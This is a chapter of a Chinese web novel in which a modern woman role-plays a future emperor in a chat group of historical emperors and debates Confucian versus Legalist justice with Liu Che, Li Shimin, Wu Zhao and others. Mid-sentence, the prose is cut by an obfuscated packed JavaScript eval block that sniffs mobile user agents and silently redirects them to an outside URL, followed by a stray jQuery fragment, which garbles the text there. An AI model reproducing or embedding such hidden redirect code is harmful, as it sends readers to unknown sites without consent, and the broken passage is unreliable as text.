16.第 16 章
作品:《[天幕]皇帝聊天群》 秦念没有详细解释儒家的功过。
她扮演的是“嚣张霸道”的后世皇帝,又不是百家讲坛的主讲人。
天幕这森冷的五个字,将所有儒生的不忿堵在喉咙里。
儒家治世,华夏衰落。
没有比这更严重的过错!
百家凋零,也意味着儒家无法将罪责推给其他学派。
………
群内的皇帝,声誉排名都不低。
都算得上明君。
遵从儒术的后果是华夏之衰,这是任何明君都不愿意承担的罪责。
刘秀不断按揉额角。
不尊儒术,又该如何治国?
天意既然透露后世之事,又为何要限制不得议与武帝无关之事?
以至于他对秦念的询问,都被规则所阻!
………
作为后世之君,李世民看得更远。
秦念既言分封为无能之君,又恶儒家致华夏之衰。
始皇帝以为秦能万世,却二世而亡。
倒是“无能”的汉朝存四百余年。
观秦念之言,可知后世皆以儒治国。
秦念通晓历史,清楚秦汉兴衰,却毅然再启法家治世。
其自负可见一斑。
秦念也有资格如此自负。
儒家延汉四百年,是民心之故。
荀子有言:“君者,舟也;庶人者,水也。水则载舟,水则覆舟”。
秦念重启法家,却稳居民心榜首。
法家之危患,已被秦念化解。
李世民急切想要知道秦念是如何为之,但无论他怎么询问,都未能绕过规则的限制,连“刘彻应如何治国”都被天幕所阻。
反而得到天幕对规则二的补充:
“不得询问与话题无关的人事物。”
显然,“刘彻应如何治国”的意图过于明显,未能绕过规则限制。
【武曌:春秋决狱有何不妥?】
论揣摩规则,武曌是群内所有皇帝之最。
她是最快绕过规则限制的皇帝,但秦念却没有立即作答。
是被规则所限制?
………
秦念没立即作答的原因很简单。
她认为可能跑题了。
这个皇帝聊天群显然是要沉浸式解决甲方的意难平。
先前提及儒家致使华夏衰落,是为了论证“主父偃的死与儒家排外有关”。
但继续讨论春秋决狱,就有水时间的嫌疑。
合约上写的工作时间为每日四个小时,高达五百的时薪,她哪敢摸鱼?
于是她敲了甲方的聊天窗。
【甲方:不违反规则。】
那就没问题了。
甲方不觉得这是跑题,那就不是跑题。
【秦念:春秋决狱的核心,是用儒家经典来释法判案,强调论心定罪。】
春秋决狱,也叫引经决狱。
用儒家经典来释法判案,是指符合三纲五常伦理准则的,就予以轻判甚至不判;违背三纲五常的,就予以重判。
其中最具代表性的就是亲亲相隐。
而论心定罪,指的是根据主观动机来判断是否构成犯罪。
看起来很先进,居然还会区分主观善恶意。
然而人家的具体原则是“故《春秋》之治狱,论心定罪。志善而违于法者免,志恶而合于法者诛”。
主观是善,违法可免。
主观是恶,合法可诛。
秦念对此的评价是:
儒家怕不是有什么大病?
【刘秀:有何不可?】
刘秀怎么积极起来了?
之前讨论刘彻的军政,刘秀基本不说话。
怎么说到儒法相关,他就这么积极?
他拿的是什么人设?
秦念回忆历史上的刘秀:堪称封建帝王中的完人。
连龙猪凤都踩过坑的继承人问题,刘秀也交出了相当优秀的答卷。
春秋决狱……
是因为刘秀对官吏的管理相当严格,所以会着重询问法制建设?
说得通,这应该不是针对她的坑。
【秦念:春秋决狱,用春秋时期的典籍判几百年甚至几千年后的案件,何愁华夏不衰。】
秦念丝毫没有掩饰其扬法贬儒。
如今所说的这段话,显然与商鞅的主张相同:
“当时而立法,因事而制礼”,反对“法古”、“循礼”。
刘弗陵年纪最小,也最沉不住气。
【刘弗陵:儒家仁政之说,历经数百年亦为治国良策,可缓民之疾苦。难道数千年后,先贤之言就会与民有害吗?】
“你几岁”三个字都敲出来了,秦念又赶紧给删了。
好险,差点违规。
问刘弗陵的年龄肯定违反规则二。
【秦念:你先问问你爹,他用的儒学跟孔孟之说是一回事吗?】
董仲舒:“……”
扭曲了多少孔孟之说,他自己最清楚。
但儒家想要得到君王的重用,就只能变。
想到这一点,董仲舒惊出冷汗。
不是恐惧于篡改孔孟之说被后世秦皇点出,而是“变”之一字。
他为了儒学之兴,故而变儒。
可春秋决狱,却是以数百年前“不变”之经典来决断对错!
【刘弗陵:贤良之士皆言阿父严刑峻法有违仁君之道。】
刘弗陵不是突然就不怕被刘彻厌弃、以至于连累阿母与尚未出生的自己。
而是除了“为人子”,他还是人君。
作为幼年登基且早慧的君王,他知道所有人的话都不能尽信。
此问,不是反驳秦念之言,不是指责先帝。
问的是“贤良之士”所言的对错。
这关系到他将要如何治国。
【刘彻:哪些“贤良”之士?】
刘据端坐在阿父身侧,只觉寒意陡生。
阿父怒了。
刘彻确实极为愤怒。
因为他发现了一个极其严重的问题:
他以霸王道杂之作为治国之道,但儒家大贤却不会这么教导后世皇帝。
“你在儒家独大的后世,名声可不怎么好听”。
这个后世,竟是从刘弗陵就开始了?
是啊,他当太子的时候,除了儒家大贤的教导,还有先帝亲授为君之道。
刘弗陵八岁继位,谁能教他帝王之术?
儒家又怎会甘心只当一张皮?
【刘弗陵:规则所限,不能言。】
秦念恍然大悟。
难怪甲方要设定“不得提及与话题无关的历史事件”这么奇怪的规则。
想必既是限定话题,免得群聊变成吵架大乱斗。
也能用来略过历史上没有明确记载的事情。
汉昭帝时期最出名的事件是“盐铁之议”,这场大议的重点就是讨论汉武帝的内外政策。
大议中桑弘羊坚决捍卫汉武帝的政策,与全盘否定汉武帝的六十多个儒生展开激烈的辩论。
这一年刘弗陵只有十四岁。
“贤良之士皆言阿父严刑峻法有违仁君之道”,说的极有可能就是这场“盐铁之议”。
六十多个贤良,在史书上留下名字的不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15858302|175776||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多。
这场辩论以桑弘羊受挫结束,次年他因被牵连进燕王刘旦谋反案被族诛。
【秦念:孔子必然支持分封反对郡县,这么喜欢法古为什么不放弃郡县制回归周朝那样的分封?是后世的皇帝们不喜欢吗?】
除却嬴政之外,所有皇帝都无言以对。
就是不喜欢。
见史书上始皇帝如何掌天下之权,后世的皇帝又有谁还能接受周天子的“垂拱而治”?
【秦念:到法制一道,却变成春秋决狱,可笑。】
【刘弗陵:朕受教。】
刘弗陵得到答案:
儒家贤良之言,果然不可尽信。
儒生“不喜欢”先帝之治,故而极力言先帝之过错。
【李世民:子误伤父案,依汉律,“殴父也,当枭首”。董仲舒以《春秋》之义论君子原心,赦之。秦皇,朕以为救父却被枭首不妥,不如赦之。】
秦念不由得赞叹群聊成员扮演的严谨性。
李世民的论点就比未成年刘弗陵有水平多了。
子误伤父案,指的是父亲跟人争斗,被人用佩刀刺伤,儿子拿木棍救父,却不慎误伤父亲。
按照汉律,殴打父亲是死罪。
而董仲舒引用许世子止弑君案,为这个儿子脱罪。
《春秋》记载许国世子止送药给他爹许悼公,许悼公喝药后死去,记录为“弑其君”。
《春秋公羊传》解释此事:“葬许悼公,是君子之赦止也”,即《春秋》记录“葬许悼公”这件事,是赦免了许世子止。
那么根据本心,儿子殴父的本意是救父,也应当被赦免。
这是春秋决狱的经典案例。
唐太宗讲述这个案例,是在反驳她先前说春秋决狱中的“论心定罪”不妥。
但这一点说服不了秦念。
【秦念:律法定刑不当,就应该修改律法:过失殴父,轻罪或无罪。】
【秦念:春秋决狱,损害的是律法的权威。是善是恶,谁说了算?张汤给颜异定的腹诽罪就是跟儒家学的论心定罪。】
大农令颜异震惊地看向张汤。
腹诽罪?
当初窦婴田蚡相争,田蚡给窦婴定的罪名就是“腹诽而心谤”。
此罪极为严重,当诛!
所谓腹诽,就是未发于言。
都没说话,定腹诽罪不就是无法论证、凭心而论吗?
颜异是孔门七十二贤之首颜回的第十一世孙,当然修习儒学,也当然赞同春秋决狱。
可被张汤强按腹诽罪,颜异才意识到论心定罪有多么荒谬。
【刘彻:颜异因何事被定罪?】
大司农位列九卿,刘彻当然想知道这个重臣又是怎么死的。
刘弗陵有点不忍看。
阿父不该问这个问题。
【秦念:元狩四年,国库空虚。你与张汤研发白鹿皮币,一张四十万钱强行卖给王侯们勒索钱财。颜异对此表示异议,得罪了张汤。两年后,张汤以腹诽罪将他处死。】
【刘彻:……】
汉武帝时期的王侯们:“?!”
今岁,陛下就要以一张四十万钱的白鹿皮币勒索他们?
但就算知道是勒索强卖,也没有谁敢不买。
难道要去造千古一帝的反吗?
淮南、衡山、江都三王密谋造反,相关人等全被张汤治罪,连陛下想要宽赦的严助和伍被都没能脱罪。
谁还敢忤逆陛下?
同样令他们无法接受的是:
黔首看到国库空虚,而陛下选择勒索王侯来充实国库时,陛下的民心竟然又上升了十数位。